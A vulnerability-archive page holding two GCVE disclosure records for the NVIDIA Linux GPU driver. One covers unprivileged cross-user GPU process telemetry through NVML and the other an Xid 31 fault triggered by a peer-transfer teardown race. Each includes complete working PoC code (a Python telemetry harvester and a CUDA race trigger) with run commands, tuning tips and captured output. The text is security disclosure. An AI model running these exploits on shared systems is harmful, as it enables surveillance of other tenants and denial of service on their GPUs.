anywhere on this path|\n+-----------------------------------------------------------------------+\n\nNVML already has the concept of privilege-gating this exact call -\njust not in ordinary shared-GPU mode. From nvml.h, on both\nnvmlDeviceGetComputeRunningProcesses_v3 and\nnvmlDeviceGetMPSComputeRunningProcesses_v3:\n\n\"In MIG mode, if device handle is provided, the API returns aggregate\ninformation,\nonly if the caller has appropriate privileges.\"\n\nSo under MIG, process enumeration through the physical-device handle\nis privilege-gated. Outside MIG there is no corresponding UID\nownership boundary. Relatedly, nvmlDeviceGetComputeRunningProcesses_v3\ndocuments NVML_ERROR_NO_PERMISSION in its return list and does not\nreturn it here; nvmlDeviceGetProcessUtilization and\nnvmlDeviceGetMPSComputeRunningProcesses_v3 do not document that error\nat all.\n\nNote RmProfilingAdminOnly: 1 in the same params output. The CUPTI\nperformance-counter plane IS gated behind CAP_SYS_ADMIN on this exact\nnode - that gate was added as the fix for CVE-2018-6260. The NVML\nper-process management plane received no equivalent gate. That\nasymmetry is the finding.\n\n\nAttacker Prerequisites\n----------------------\n\nA shell account on the node. The observer used for all captured runs:\n\nuid=1011(victimuser) gid=1011(victimuser) groups=1011(victimuser)\n\nCapInh: 0000000000000000 -\u003e NONE\nCapPrm: 0000000000000000 -\u003e NONE\nCapEff: 0000000000000000 -\u003e NONE\nCapAmb: 0000000000000000 -\u003e NONE\nCapBnd: 000001ffffffffff\n\nNo sudo. Not in sudo/wheel/admin/docker/video/gpu/render.\nNo Docker socket. Cannot load kernel modules. Cannot ptrace other\nusers\u0027 processes.\n\n\nProof of Concept\n----------------\n\nVictim, uid 1000 - any long-running CUDA workload. The captured runs\nused nccl-tests all_reduce_perf on GPUs 2 and 3. Anything holding a\nCUDA context works; this needs only pytorch:\n\npython3 -c \"import torch,time\nx=torch.randn(8192,8192,device=\u0027cuda\u0027)\nwhile True: x=x@x.clamp(-1,1); torch.cuda.synchronize(); time.sleep(0.01)\"\n\nAttacker, uid 1011, via the shipped CLI:\n\nnvidia-smi --query-compute-apps=pid,process_name,used_gpu_memory\n--format=csv,noheader\nnvidia-smi pmon -c 3\nnvidia-smi nvlink -gt d\n\nThat first command, run by an unprivileged user with no group\nmembership, is the entire exploit. Everything below is the same read\nstraight through NVML. Captured output as uid 1011 against the uid\n1000 victim:\n\npid, process_name, used_gpu_memory [MiB], gpu_uuid\n77977, /usr/local/bin/all_reduce_perf, 2288 MiB,\nGPU-7d4392e5-96fd-7c8d-5dd4-113663cc7278\n77977, /usr/local/bin/all_reduce_perf, 2288 MiB,\nGPU-fe44d319-939f-d747-de55-6802405cad8d\n\nFull PoC code, harnesses and raw evidence for both findings:\n\u003chttps://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc\u0026source=gmail\u0026ust=1787513712074000\u0026sa=E\u003e\n\nStraight through NVML with no nvidia-smi involved. This is the complete exploit:\n\n#!/usr/bin/env python3\n# unprivileged cross-UID GPU telemetry harvester\n# run as any local user: python3 harvest.py\n# pip install nvidia-ml-py (provides the `pynvml` module; the standalone\n# `pynvml` PyPI package is a deprecated shim as of v12)\nimport os, pwd, pynvml\n\ndef owner(pid):\ntry: return os.stat(\"/proc/%d\" % pid).st_uid\nexcept: return None\n\ndef exe(pid):\n# Tries NVML first. NOTE: this direct call was not verified cross-UID here -\n# see the note below the output. Falls back to cmdline, never to exe.\ntry:\nn = pynvml.nvmlSystemGetProcessName(pid)\nreturn n.decode() if isinstance(n, bytes) else n\nexcept Exception:\n# /proc/\u003cpid\u003e/cmdline is world-readable - this is how ps(1) shows other\n# users\u0027 command lines. /proc/\u003cpid\u003e/exe is NOT: readlink on it needs\n# PTRACE_MODE_READ, which this attacker does not have.\ntry: return open(\"/proc/%d/cmdline\" % pid,\"rb\").read().split(b\"\\0\")[0].decode()\nexcept: return \"?\"\n\ndef owner_name(u):\ntry: return pwd.getpwuid(u).pw_name\nexcept KeyError: return str(u) # no passwd entry: LDAP, containers\n\npynvml.nvmlInit()\nme = os.getuid()\nfound = 0\nfor i in range(pynvml.nvmlDeviceGetCount()):\nh = pynvml.nvmlDeviceGetHandleByIndex(i)\n\n# cross-UID process table + per-process GPU memory\nfor p in pynvml.nvmlDeviceGetComputeRunningProcesses(h):\nu = owner(p.pid)\nif u is not None and u != me:\nfound += 1\nprint(\"[CROSS-UID] gpu=%d pid=%d uid=%d(%s) mem=%dMiB exe=%s\" % (\ni, p.pid, u, owner_name(u),\n(p.usedGpuMemory or 0) \u003e\u003e 20, exe(p.pid)))\n\n# cross-UID per-process SM / memory-controller utilization.\n# arg 2 is lastSeenTimeStamp in microseconds; only samples newer than it are\n# returned, so a small constant drains everything the driver still buffers.\ntry:\nfor pu in pynvml.nvmlDeviceGetProcessUtilization(h, 1000000):\nu = owner(pu.pid)\nif u is not None and u != me:\nprint(\"[CROSS-UID-UTIL] gpu=%d pid=%d uid=%d sm=%d%% mem=%d%%\" % (\ni, pu.pid, u, pu.smUtil, pu.memUtil))\nexcept pynvml.NVMLError as e:\n# NVML_ERROR_NOT_FOUND here means the driver\u0027s sample buffer is empty,\n# NOT that the call is gated. Poll for a few seconds and retry.\nprint(\" nvmlDeviceGetProcessUtilization -\u003e %s\" % e)\n\n# device-global telemetry, no gate at all\nprint(\"[DEV] gpu=%d power=%.1fW util=%d%% mem_used=%dMiB\" % (\ni, pynvml.nvmlDeviceGetPowerUsage(h)/1000.0,\npynvml.nvmlDeviceGetUtilizationRates(h).gpu,\npynvml.nvmlDeviceGetMemoryInfo(h).used \u003e\u003e 20))\n\nif not found:\nprint(\"no cross-UID GPU processes visible (is a victim workload running?)\")\n\nOutput:\n\n[CROSS-UID] gpu=2 pid=77977 uid=1000(cc) mem=2288MiB\nexe=/usr/local/bin/all_reduce_perf\n[CROSS-UID] gpu=3 pid=77977 uid=1000(cc) mem=2288MiB\nexe=/usr/local/bin/all_reduce_perf\n[CROSS-UID-UTIL] gpu=2 pid=77977 uid=1000 sm=97% mem=41%\n\nNVML supplies the PID and the GPU memory figure. The binary path came\nfrom nvidia-smi --query-compute-apps=process_name, which is\nNVML-backed and returned the full path /usr/local/bin/all_reduce_perf\nto the unprivileged observer - that output is captured. The direct\ncall, nvmlSystemGetProcessName(), is what the PoC above uses and it is\nNOT something I captured cross-UID; NVML documents\nNVML_ERROR_NO_PERMISSION for it, so verify it on your own host rather\nthan taking it from me. The captured harness resolved names through\n/proc. Note that /proc/\u003cpid\u003e/exe is not readable cross-UID, so if you\nfall back to procfs use /proc/\u003cpid\u003e/cmdline, not exe. The only field\nprocfs is needed for is the owning UID, via stat() on /proc/\u003cpid\u003e.\n\nPolling nvmlDeviceGetProcessUtilization in a loop yields a per-victim\nSM utilization time series. What that supports on the evidence here is\nbusy-versus-idle and job start/stop. Finer structure - step cadence,\nphase boundaries - is plausible but was not demonstrated, and I do not\nclaim it.\n\nResults: 5/5 positive sessions with all seven machine-scored success\ncriteria passing, and 2/2 negative controls (no victim workload, no\ncross-UID records) confirming the signal tracks the victim. For every\ncompute-app row root could see, the unprivileged observer saw a\nmatching row - same PID, same binary name, same GPU - in all five\npositive sessions. That comparison is field-level (whitespace and row\norder normalized, process name compared by basename), not a byte diff.\nAll channels leak with GPU accounting mode disabled, which is the\nfresh default, so this is not a case of an administrator having\nenabled accounting.\n\n\nTelemetry Channels\n------------------\n\nChannel NVML API CLI Result\n----------------------------- ---------------------------------------\n---------------------- --------------------------\nProcess PID nvmlDeviceGetComputeRunningProcesses --query-compute-apps\nLEAKS (redundant with ps)\nBinary path nvidia-smi\u0027s NVML-backed query --query-compute-apps LEAKS\n(captured); direct\n(nvmlSystemGetProcessName NOT captured) NVML call unverified\nPer-process GPU memory nvmlDeviceGetComputeRunningProcesses\n--query-compute-apps LEAKS - GPU-specific\nPer-process SM utilization nvmlDeviceGetProcessUtilization pmon LEAKS\n- GPU-specific\nNVLink Tx/Rx counters NVML_ERROR_NOT_SUPPORTED on this driver nvlink\n-gt d LEAKS via CLI - prior art\nNVLink topology / remote PCI nvmlDeviceGetNvLinkRemotePciInfo nvlink LEAKS\nDevice power/clocks/util nvmlDeviceGetPowerUsage et al. -q LEAKS (device-global)\n\n\nImpact\n------\n\nA low-privileged tenant on a shared HPC or AI node passively monitors\nco-tenants in real time: who is running GPU work, which binary, the\nGPU memory footprint (a model-size proxy), the SM utilization timeline\n(training and idle cadence, step rate, job boundaries), and NVLink\npair activity (distributed job topology).\n\nNo computation content is read - no weights, a"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-200",
"description": "CWE-200",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-276",
"description": "CWE-276",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-862",
"description": "CWE-862",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T11:52:12Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/77"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/77"
},
{
"url": "https://github.com/abhinavagarwal07/nvidia-gpu-security-poc"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc\u0026source=gmail\u0026ust=1787513712074000\u0026sa=E"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/77"
],
"discovery": "EXTERNAL"
},
"title": "NVIDIA Linux GPU driver: cross-UID GPU process telemetry via NVML, no CVE (vendor: expected behavior)",
"x_gcve": [
{
"recordType": "reference",
"relationships": [
{
"destId": "CVE-2018-6260",
"type": "related"
},
{
"destId": "CVE-2021-1056",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0298",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/77",
"automated": true,
"contentSha256": "eda9b97373cfa1b602256c1f71b15efde5a40742aa2d77e5e851378506b0282e",
"evidenceScore": 8,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/77",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-22T19:37:52Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0298"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T11:40:48Z",
"dateUpdated": "2026-09-11T11:52:12Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0298"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0083
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-11 11:52
VLAI
EPSS
VEX
Title
NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via undocumented peer-teardown ordering, no CVE (vendor: intended)
Summary
NVIDIA Linux GPU driver - unprivileged Xid 31 copy-engine MMU fault
during an NVLink peer transfer
==================================================================================================
An unprivileged local user with no GPU group, no admin group and no
capabilities, using only the driver's default 0666 /dev/nvidia*
permissions and public CUDA Runtime APIs, deterministically causes a
PID-attributed copy-engine MMU fault (Xid 31) during an NVLink peer
transfer. The captured Xid names one PCI device, 0000:01:00 - it is
not evidence that both GPUs of the pair entered a faulted state, and
no such claim is made here. The trigger is a race: call
cudaDeviceDisablePeerAccess() while a cudaMemcpyPeerAsync() is still
in flight on the peer path. Reproduced 5/5 with PID attribution to the
triggering process, against 4/4 clean negative controls. NVIDIA
reviewed the report and determined this is intended behavior and not a
bug.
Affected: NVIDIA Linux GPU driver, CUDA peer-access path on
NVLink-connected GPUs
Tested: 595.71.05-open
Hardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off
Platform: Ubuntu 24.04, kernel 6.8.0, CUDA 13.2
CWE: CWE-362 (race condition) for the mechanism; CWE-276
(incorrect default permissions) as the access precondition
Status: Closed by NVIDIA as Not Applicable, 2026-08-04, on the
grounds that it is intended behavior. No fix.
CVE: none assigned
Ref: Intigriti NVIDIA-S5KGSS2R, NVIDIA PSIRT ticket 6286071
Companion: "NVIDIA Linux GPU driver: cross-UID GPU process telemetry
via NVML" - same node, same driver, same 0666 precondition
Read the "Unmeasured Question" section before drawing conclusions
about severity. The single measurement that separates a self-contained
fault from a cross-tenant denial of service is one I did not capture,
and I am not claiming it.
Observed Mechanism
------------------
cudaDeviceEnablePeerAccess() installs a peer mapping so GPU a can
address GPU b's memory over NVLink. cudaMemcpyPeerAsync() queues a DMA
on a copy engine that walks that mapping.
cudaDeviceDisablePeerAccess() tears the mapping down. Nothing forces
the outstanding DMA to drain first. The Xid line names FAULT_PDE on
CE4, consistent with the copy engine dereferencing a page directory
entry that has just been unmapped - an inference from the fault type
and engine, not a claim about driver internals.
GPU a (holds peer mapping) GPU b (peer)
+----------------------------------+
+---------------------------+
| cudaSetDevice(a) | |
cudaMalloc(src) |
| cudaDeviceEnablePeerAccess(b) ------ NVLink ---> | peer mapping
installed |
| cudaMemcpyPeerAsync() x4 |===== DMA in flight on CE4
=====> |
| cudaDeviceDisablePeerAccess(b) | |
|
| ^ | |
|
| +-- PDE torn down while CE4 is still walking it
|
+----------------------------------+
+---------------------------+
|
v
CE4 dereferences an unmapped PDE -> FAULT_PDE
ACCESS_TYPE_VIRT_READ
|
v
Xid 31, PID-attributed to the caller
The negative control synchronizes every copy before teardown, so no
DMA is outstanding when the mapping is removed. Approximately 9,000
synchronized cycles per run across four negative controls - roughly
36,000 cycles total - produced zero Xid. That isolates the
in-flight-copy-versus-teardown race as the cause rather than peer
access itself.
Attacker Prerequisites
----------------------
A shell account on the node, and the driver's own default device permissions:
# grep -E 'ModifyDeviceFiles|DeviceFileMode' /proc/driver/nvidia/params
ModifyDeviceFiles: 1
DeviceFileMode: 438 # 0666 octal
The trigger user for all captured runs was uid 1011, in no GPU group,
with an empty effective capability set.
Proof of Concept
----------------
Full PoC code, the instrumented trigger, the canary ladder and raw
evidence for both findings:
<https://github.com/abhinavagarwal07/nvidia-gpu-security-poc>
--a and --p are CUDA-visible ordinals. CUDA_VISIBLE_DEVICES,
containers, schedulers and MIG all remap these, so pin them to the
intended physical pair.
/* nvlink_p2p_cycle.cu
* build: nvcc -arch=sm_80 -O2 -o nvlink_p2p_cycle nvlink_p2p_cycle.cu
* pos: CUDA_VISIBLE_DEVICES=0,1 ./nvlink_p2p_cycle --a 0 --p 1
--inflight 1 --dur 30
* neg: CUDA_VISIBLE_DEVICES=0,1 ./nvlink_p2p_cycle --a 0 --p 1
--inflight 0 --dur 30
* (the captured runs used --dur 30)
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <cuda_runtime.h>
/* peer enable/disable and the async copies are EXPECTED to return
errors once the
* pair starts faulting; swallow them so the loop keeps racing. */
#define SOFT(x) do { cudaError_t _e=(x); (void)_e; } while(0)
#define CHECK(x) do { cudaError_t _e=(x); if(_e!=cudaSuccess){ \
fprintf(stderr,"%s:%d
%s\n",__FILE__,__LINE__,cudaGetErrorString(_e)); exit(1);} } while(0)
static double now_s(void){ struct timespec t;
clock_gettime(CLOCK_MONOTONIC,&t);
return t.tv_sec + t.tv_nsec/1e9; }
int main(int argc,char**argv){
int a=0,p=1,mb=64,nstream=4,inflight=1; double dur=60.0;
for(int i=1;i<argc;i++){
if(!strcmp(argv[i],"--a")&&i+1<argc) a=atoi(argv[++i]);
else if(!strcmp(argv[i],"--p")&&i+1<argc) p=atoi(argv[++i]);
else if(!strcmp(argv[i],"--dur")&&i+1<argc) dur=atof(argv[++i]);
else if(!strcmp(argv[i],"--mb")&&i+1<argc) mb=atoi(argv[++i]);
else if(!strcmp(argv[i],"--streams")&&i+1<argc)
nstream=atoi(argv[++i]);
else if(!strcmp(argv[i],"--inflight")&&i+1<argc)
inflight=atoi(argv[++i]);
}
size_t bytes=(size_t)mb*1024*1024;
printf("pid=%d\n",(int)getpid()); /* PID attribution is the
central claim */
int can=0; CHECK(cudaDeviceCanAccessPeer(&can,a,p));
if(!can){ fprintf(stderr,"no p2p %d<->%d\n",a,p); return 2; }
/* source buffer lives on the peer; destinations and streams on
the local device */
CHECK(cudaSetDevice(p));
void *src; CHECK(cudaMalloc(&src,bytes));
CHECK(cudaMemset(src,0xCD,bytes));
CHECK(cudaSetDevice(a));
void **dst = (void**)malloc(nstream*sizeof(void*));
cudaStream_t *st = (cudaStream_t*)malloc(nstream*sizeof(cudaStream_t));
for(int s=0;s<nstream;s++){ CHECK(cudaMalloc(&dst[s],bytes));
CHECK(cudaStreamCreate(&st[s])); }
double t0=now_s(); unsigned long long cyc=0;
while(now_s()-t0 < dur){
SOFT(cudaDeviceEnablePeerAccess(p,0));
/* install peer mapping */
for(int s=0;s<nstream;s++)
SOFT(cudaMemcpyPeerAsync(dst[s],a,src,p,bytes,st[s]));
/* 4 x 64MiB async on CE */
if(!inflight)
for(int s=0;s<nstream;s++) cudaStreamSynchronize(st[s]);
/* negative control only */
SOFT(cudaDeviceDisablePeerAccess(p));
/* tear down mid-DMA */
cyc++;
}
printf("done: %llu cycles in %.1fs\n", cyc, now_s()-t0);
return 0;
}
Four 64 MiB copies across four streams keeps enough DMA outstanding
that the teardown lands inside the transfer window on essentially
every cycle.
Before running, confirm the two ordinals really are NVLink-connected -
cudaDeviceCanAccessPeer also returns 1 for PCIe P2P, which was not
tested here:
nvidia-smi topo -m # expect NV<n> between the chosen
GPUs, not PHB/SYS
nvidia-smi -L
Watch the kernel log. This needs root, or kernel.dmesg_restrict=0:
dmesg -w | grep -i xid
If no Xid appears within about 30 seconds, raise --mb and --streams
until the teardown reliably lands inside the transfer window.
-arch=sm_80 is A100; use sm_90 on H100/GH200, untested here.
DO NOT RESET YET. Resetting here destroys the only evidence that
matters - it is exactly the mistake my own harness made, and it is why
the central question in this post is unanswered. The required order
is:
trigger -> kill -9 the trigger -> canary as a DIFFERENT
unprivileged UID, before any reset
-> reset ONLY if that canary fails
Read state without clearing it:
nvidia-smi -q | grep -i "GPU Recovery Action"
Only after the pre-reset canary has been run and recorded:
nvidia-smi --gpu-reset -i <a>,<b> # requires no processes
attached to those GPUs
Positive run (--inflight 1), captured verbatim:
[Sat May 30 18:33:27 2026] NVRM: Xid (PCI:0000:01:00): 31,
pid=6507, name=nvlink_p2p_cycl,
channel 0x0c00001f, intr 00000000. MMU Fault: ENGINE CE4
HUBCLIENT_HSCE0 faulted @
0x7a77_7dbc6000. Fault is of type FAULT_PDE ACCESS_TYPE_VIRT_READ
Negative control (--inflight 0), approximately 9,000 synchronized cycles:
NONE
Machine-scored verdict for the same positive run:
{ "poc": "F5b-Xid31-unprivileged-P2P-disable-race", "kind": "positive",
"trigger_user": "victimuser", "physical_gpu_pair": ["0","1"],
"inflight": 1,
"xid_seen_during_run": 1, "trigger_launch_pids": ["6507"],
"xid_line_pids": ["6507"],
"verdict": "PASS",
"criteria": { "fresh_xid31": true, "pid_match": true,
"xid154_or_175": false,
"unprivileged_user": true, "survived_first_sigkill": false,
"held_gpu_memory": true, "ecc_clean_post": true } }
pos-01 launched at 18:33:23 and the Xid landed at 18:33:25 - two seconds.
Results
-------
Run Kind Pair inflight Fresh Xid 31 PID-matched Xid
154/175 Held GPU mem ECC clean
------- --------- ----- --------- ------------- ------------
------------ ---------------- ---------
pos-01 positive 0,1 1 yes yes no
672+480 MiB yes
pos-02 positive 0,1 1 yes yes no
672+480 MiB yes
pos-03 positive 0,1 1 yes yes no
672+480 MiB yes
pos-04 positive 0,1 1 yes yes no
672+480 MiB yes
pos-05 positive 0,1 1 yes yes no
672+480 MiB yes
neg-01 negative 0,1 0 no - no
- yes
neg-02 negative 0,1 0 no - no
- yes
neg-03 negative 0,1 0 no - no
- yes
neg-04 negative 0,1 0 no - no
- yes
Positives 5/5, negatives 4/4. Held GPU memory was recorded numerically
for pos-01 (672 MiB on GPU0, 480 MiB on GPU1); the harness recorded it
as a boolean for pos-02..05. Those numbers are derivable from the
trigger's own allocations - four 64 MiB destination buffers plus a
~416 MiB CUDA context on the local device, 64 MiB source plus the same
context on the peer - which is what rules out random corruption.
Post-reset aggregate uncorrectable ECC totals were zero in every run -
a fault, not hardware damage. The trigger process dies on the first
SIGKILL.
The fault was also reachable on all six local NVLink pairs, one pass each.
The Unmeasured Question
-----------------------
Whether the faulted copy-engine / UVM context clears when the process
dies, or whether the pair stays unusable to a fresh process until a
privileged nvidia-smi --gpu-reset, was not measured.
The harness ran --gpu-reset reflexively immediately after killing the
trigger, destroying the evidence for its own most important question.
The test node was deprovisioned before the run could be repeated with
a health probe in the gap.
Four indicators, three of them NVIDIA's own, point toward self-clearing:
- NVIDIA's Xid
Severity
No CVSS data available.
Assigner
References
15 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Linux GPU",
"vendor": "Nvidia",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Abhinav Agarwal"
}
],
"descriptions": [
{
"lang": "en",
"value": "NVIDIA Linux GPU driver - unprivileged Xid 31 copy-engine MMU fault\nduring an NVLink peer transfer\n==================================================================================================\n\nAn unprivileged local user with no GPU group, no admin group and no\ncapabilities, using only the driver\u0027s default 0666 /dev/nvidia*\npermissions and public CUDA Runtime APIs, deterministically causes a\nPID-attributed copy-engine MMU fault (Xid 31) during an NVLink peer\ntransfer. The captured Xid names one PCI device, 0000:01:00 - it is\nnot evidence that both GPUs of the pair entered a faulted state, and\nno such claim is made here. The trigger is a race: call\ncudaDeviceDisablePeerAccess() while a cudaMemcpyPeerAsync() is still\nin flight on the peer path. Reproduced 5/5 with PID attribution to the\ntriggering process, against 4/4 clean negative controls. NVIDIA\nreviewed the report and determined this is intended behavior and not a\nbug.\n\nAffected: NVIDIA Linux GPU driver, CUDA peer-access path on\nNVLink-connected GPUs\nTested: 595.71.05-open\nHardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off\nPlatform: Ubuntu 24.04, kernel 6.8.0, CUDA 13.2\nCWE: CWE-362 (race condition) for the mechanism; CWE-276\n(incorrect default permissions) as the access precondition\nStatus: Closed by NVIDIA as Not Applicable, 2026-08-04, on the\ngrounds that it is intended behavior. No fix.\nCVE: none assigned\nRef: Intigriti NVIDIA-S5KGSS2R, NVIDIA PSIRT ticket 6286071\nCompanion: \"NVIDIA Linux GPU driver: cross-UID GPU process telemetry\nvia NVML\" - same node, same driver, same 0666 precondition\n\nRead the \"Unmeasured Question\" section before drawing conclusions\nabout severity. The single measurement that separates a self-contained\nfault from a cross-tenant denial of service is one I did not capture,\nand I am not claiming it.\n\n\nObserved Mechanism\n------------------\n\ncudaDeviceEnablePeerAccess() installs a peer mapping so GPU a can\naddress GPU b\u0027s memory over NVLink. cudaMemcpyPeerAsync() queues a DMA\non a copy engine that walks that mapping.\ncudaDeviceDisablePeerAccess() tears the mapping down. Nothing forces\nthe outstanding DMA to drain first. The Xid line names FAULT_PDE on\nCE4, consistent with the copy engine dereferencing a page directory\nentry that has just been unmapped - an inference from the fault type\nand engine, not a claim about driver internals.\n\n GPU a (holds peer mapping) GPU b (peer)\n +----------------------------------+\n+---------------------------+\n | cudaSetDevice(a) | |\ncudaMalloc(src) |\n | cudaDeviceEnablePeerAccess(b) ------ NVLink ---\u003e | peer mapping\ninstalled |\n | cudaMemcpyPeerAsync() x4 |===== DMA in flight on CE4\n=====\u003e |\n | cudaDeviceDisablePeerAccess(b) | |\n |\n | ^ | |\n |\n | +-- PDE torn down while CE4 is still walking it\n |\n +----------------------------------+\n+---------------------------+\n |\n v\n CE4 dereferences an unmapped PDE -\u003e FAULT_PDE\nACCESS_TYPE_VIRT_READ\n |\n v\n Xid 31, PID-attributed to the caller\n\nThe negative control synchronizes every copy before teardown, so no\nDMA is outstanding when the mapping is removed. Approximately 9,000\nsynchronized cycles per run across four negative controls - roughly\n36,000 cycles total - produced zero Xid. That isolates the\nin-flight-copy-versus-teardown race as the cause rather than peer\naccess itself.\n\n\nAttacker Prerequisites\n----------------------\n\nA shell account on the node, and the driver\u0027s own default device permissions:\n\n # grep -E \u0027ModifyDeviceFiles|DeviceFileMode\u0027 /proc/driver/nvidia/params\n ModifyDeviceFiles: 1\n DeviceFileMode: 438 # 0666 octal\n\nThe trigger user for all captured runs was uid 1011, in no GPU group,\nwith an empty effective capability set.\n\n\nProof of Concept\n----------------\n\nFull PoC code, the instrumented trigger, the canary ladder and raw\nevidence for both findings:\n\u003chttps://github.com/abhinavagarwal07/nvidia-gpu-security-poc\u003e\n\n--a and --p are CUDA-visible ordinals. CUDA_VISIBLE_DEVICES,\ncontainers, schedulers and MIG all remap these, so pin them to the\nintended physical pair.\n\n /* nvlink_p2p_cycle.cu\n * build: nvcc -arch=sm_80 -O2 -o nvlink_p2p_cycle nvlink_p2p_cycle.cu\n * pos: CUDA_VISIBLE_DEVICES=0,1 ./nvlink_p2p_cycle --a 0 --p 1\n--inflight 1 --dur 30\n * neg: CUDA_VISIBLE_DEVICES=0,1 ./nvlink_p2p_cycle --a 0 --p 1\n--inflight 0 --dur 30\n * (the captured runs used --dur 30)\n */\n #include \u003cstdio.h\u003e\n #include \u003cstdlib.h\u003e\n #include \u003cstring.h\u003e\n #include \u003ctime.h\u003e\n #include \u003cunistd.h\u003e\n #include \u003ccuda_runtime.h\u003e\n\n /* peer enable/disable and the async copies are EXPECTED to return\nerrors once the\n * pair starts faulting; swallow them so the loop keeps racing. */\n #define SOFT(x) do { cudaError_t _e=(x); (void)_e; } while(0)\n #define CHECK(x) do { cudaError_t _e=(x); if(_e!=cudaSuccess){ \\\n fprintf(stderr,\"%s:%d\n%s\\n\",__FILE__,__LINE__,cudaGetErrorString(_e)); exit(1);} } while(0)\n\n static double now_s(void){ struct timespec t;\nclock_gettime(CLOCK_MONOTONIC,\u0026t);\n return t.tv_sec + t.tv_nsec/1e9; }\n\n int main(int argc,char**argv){\n int a=0,p=1,mb=64,nstream=4,inflight=1; double dur=60.0;\n for(int i=1;i\u003cargc;i++){\n if(!strcmp(argv[i],\"--a\")\u0026\u0026i+1\u003cargc) a=atoi(argv[++i]);\n else if(!strcmp(argv[i],\"--p\")\u0026\u0026i+1\u003cargc) p=atoi(argv[++i]);\n else if(!strcmp(argv[i],\"--dur\")\u0026\u0026i+1\u003cargc) dur=atof(argv[++i]);\n else if(!strcmp(argv[i],\"--mb\")\u0026\u0026i+1\u003cargc) mb=atoi(argv[++i]);\n else if(!strcmp(argv[i],\"--streams\")\u0026\u0026i+1\u003cargc)\nnstream=atoi(argv[++i]);\n else if(!strcmp(argv[i],\"--inflight\")\u0026\u0026i+1\u003cargc)\ninflight=atoi(argv[++i]);\n }\n size_t bytes=(size_t)mb*1024*1024;\n printf(\"pid=%d\\n\",(int)getpid()); /* PID attribution is the\ncentral claim */\n\n int can=0; CHECK(cudaDeviceCanAccessPeer(\u0026can,a,p));\n if(!can){ fprintf(stderr,\"no p2p %d\u003c-\u003e%d\\n\",a,p); return 2; }\n\n /* source buffer lives on the peer; destinations and streams on\nthe local device */\n CHECK(cudaSetDevice(p));\n void *src; CHECK(cudaMalloc(\u0026src,bytes));\nCHECK(cudaMemset(src,0xCD,bytes));\n CHECK(cudaSetDevice(a));\n void **dst = (void**)malloc(nstream*sizeof(void*));\n cudaStream_t *st = (cudaStream_t*)malloc(nstream*sizeof(cudaStream_t));\n for(int s=0;s\u003cnstream;s++){ CHECK(cudaMalloc(\u0026dst[s],bytes));\nCHECK(cudaStreamCreate(\u0026st[s])); }\n\n double t0=now_s(); unsigned long long cyc=0;\n while(now_s()-t0 \u003c dur){\n SOFT(cudaDeviceEnablePeerAccess(p,0));\n/* install peer mapping */\n for(int s=0;s\u003cnstream;s++)\n SOFT(cudaMemcpyPeerAsync(dst[s],a,src,p,bytes,st[s]));\n/* 4 x 64MiB async on CE */\n if(!inflight)\n for(int s=0;s\u003cnstream;s++) cudaStreamSynchronize(st[s]);\n/* negative control only */\n SOFT(cudaDeviceDisablePeerAccess(p));\n/* tear down mid-DMA */\n cyc++;\n }\n printf(\"done: %llu cycles in %.1fs\\n\", cyc, now_s()-t0);\n return 0;\n }\n\nFour 64 MiB copies across four streams keeps enough DMA outstanding\nthat the teardown lands inside the transfer window on essentially\nevery cycle.\n\nBefore running, confirm the two ordinals really are NVLink-connected -\ncudaDeviceCanAccessPeer also returns 1 for PCIe P2P, which was not\ntested here:\n\n nvidia-smi topo -m # expect NV\u003cn\u003e between the chosen\nGPUs, not PHB/SYS\n nvidia-smi -L\n\nWatch the kernel log. This needs root, or kernel.dmesg_restrict=0:\n\n dmesg -w | grep -i xid\n\nIf no Xid appears within about 30 seconds, raise --mb and --streams\nuntil the teardown reliably lands inside the transfer window.\n-arch=sm_80 is A100; use sm_90 on H100/GH200, untested here.\n\nDO NOT RESET YET. Resetting here destroys the only evidence that\nmatters - it is exactly the mistake my own harness made, and it is why\nthe central question in this post is unanswered. The required order\nis:\n\n trigger -\u003e kill -9 the trigger -\u003e canary as a DIFFERENT\nunprivileged UID, before any reset\n -\u003e reset ONLY if that canary fails\n\nRead state without clearing it:\n\n nvidia-smi -q | grep -i \"GPU Recovery Action\"\n\nOnly after the pre-reset canary has been run and recorded:\n\n nvidia-smi --gpu-reset -i \u003ca\u003e,\u003cb\u003e # requires no processes\nattached to those GPUs\n\nPositive run (--inflight 1), captured verbatim:\n\n [Sat May 30 18:33:27 2026] NVRM: Xid (PCI:0000:01:00): 31,\npid=6507, 